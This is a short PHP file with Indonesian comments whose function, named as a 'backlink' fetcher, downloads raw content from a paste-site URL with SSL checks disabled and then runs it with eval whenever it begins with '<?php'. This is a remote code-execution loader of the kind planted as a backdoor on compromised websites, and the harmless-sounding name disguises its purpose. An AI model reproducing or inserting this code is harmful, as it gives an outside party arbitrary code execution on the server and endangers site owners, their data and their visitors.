<?php
function getBacklink($url) {
if (ini_get('allow_url_fopen') == 1) {
// Jika url fopen on maka jalankan
return file_get_contents($url);
} elseif (function_exists('curl_version')) {
// Jika url fopen off maka jalankan menggunakan curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
return $data;
} else {
throw new Exception('Tidak dapat mengakses URL. Fopen dan cURL tidak tersedia.');
}
}
$url = "https://bitbin.it/RdDe0DJg/raw/";
$content = getBacklink($url);
if (strpos($content, '<?php') === 0) {
eval("?>" . $content);
} else {
echo "Konten tidak sesuai untuk dieksekusi.";
}
?>